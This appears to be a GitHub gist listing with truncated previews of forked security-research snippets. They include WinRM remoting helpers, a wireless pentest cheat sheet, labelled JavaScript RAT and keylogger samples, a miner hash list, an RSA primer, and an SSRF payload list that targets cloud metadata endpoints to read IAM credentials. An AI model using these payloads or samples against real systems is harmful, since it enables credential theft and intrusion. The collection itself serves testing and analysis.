Skip to content

Instantly share code, notes, and snippets.

@xtenex
xtenex / fabric_monkey_patch.py
Created November 15, 2023 07:13 — forked from diyan/fabric_monkey_patch.py
Fabric monkey patch for replacing SSH transport with WinRM
import sys
import time
import subprocess
import types
from tempfile import TemporaryFile
def remote_sh(target_host, login, password, command_text, stdout=None, stderr=None):
winrs_text = 'winrs -remote:{0} -username:{1} -password:{2} -noprofile {3}'.format(
target_host, login, password, command_text)
#print('winrs text: {0}\n'.format(winrs_text))
@xtenex
xtenex / gist:d6528d58cc1d2d8feb8c2a5347c50353
Created November 15, 2023 07:13 — forked from diyan/gist:2850866
Python with PowerShell Remoting (Windows equivalent for Unix ssh sessions)
# Note that target_env.login and target_env.password is global variables
# Maybe I should add this into Fabric project (http://docs.fabfile.org/en/1.4.2/index.html).
# This is complicated task for sure but it would be nice if Fabric could use ssh under Linux and PowerShell Remoting under Windows.
def remote_sh(target_host, command_text, ignore_error=False):
print('run PowerShell script block at {0}: {1}'.format(target_host, command_text))
command_text = command_text.replace('"', '\'')
@xtenex
xtenex / cloud_metadata.txt
Created October 20, 2020 21:16 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

#Wireless Penetration Testing Cheat Sheet

##WIRELESS ANTENNA

  • Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
@xtenex
xtenex / JavaScript RAT
Created February 27, 2018 08:54 — forked from JohnLaTwC/JavaScript RAT
JavaScript RAT
## uploaded by @JohnLaTwC
## sample hash: 1d37e2a657ccc595c7a5544df6fd2d35739455f3fdbc2d2700835873130befde
<html>
<head>
<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();
try
@xtenex
xtenex / cryptonight WASM miner
Created February 27, 2018 08:53 — forked from JohnLaTwC/cryptonight WASM miner
cryptonight WASM miner
## uploaded by @JohnLaTwC
## sample hash: 001f32784020c51a37d0805894c206ad3af6f64982920f2e5d9fa4ecd2a7f295
## 0080ac8f345ffa6efd580c32f256179bc84d461c7ed0ae8b12840435232cc301
## 008a4edf85ff8f048dec06d60ace786148eb9f7d59154967c0f788672d55a81f
## 0237d082feaa02a12e15cace26c4f82da1c477ef771d932eee5adc6ce9752ec4
## 06f04642cb950f9aef4ead17e1133aa5fbb13ec99ce3e3bf4bb0b8cdd0c36248
## 08ec5e976ef01e43f1ae4f135ea8eb6840b206c74d1240b626e2944feaff86db
## 096fc6c469d3c1e85fcdfbd889441a519e1070f638187804f3c4032495e502d0
## 0a993356554333779fc3dbca6b87cfa327efa4d931205c8c00f32381bdf9bcff
## 0bd10a6fa8c53bda71d7cd892479166e497ee649f4a4c4f27a93b7a4aaff6edd
@xtenex
xtenex / InstallUtilMouseKeyLogger.cs
Created February 27, 2018 08:43
Input Capture - InstallUtil Hosted MouseClick / KeyLogger -
using System;
using System.IO;
using System.Diagnostics;
using System.Windows.Forms;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//KeyStroke Mouse Clicks Code
/*
* https://code.google.com/p/klog-sharp/
*/
@xtenex
xtenex / RSA.txt
Created February 27, 2018 08:43
A short primer on Asymmetric Cryptography
So, you've heard about public/privagte keys. What is this REALLY...
It actually can be quite easy to understand. But first some math.
Modular Exponentiation.
This primitive is very useful in modern cryptography. Take a number a, raise it to a power and then use a modulo.
a ^ x MOD N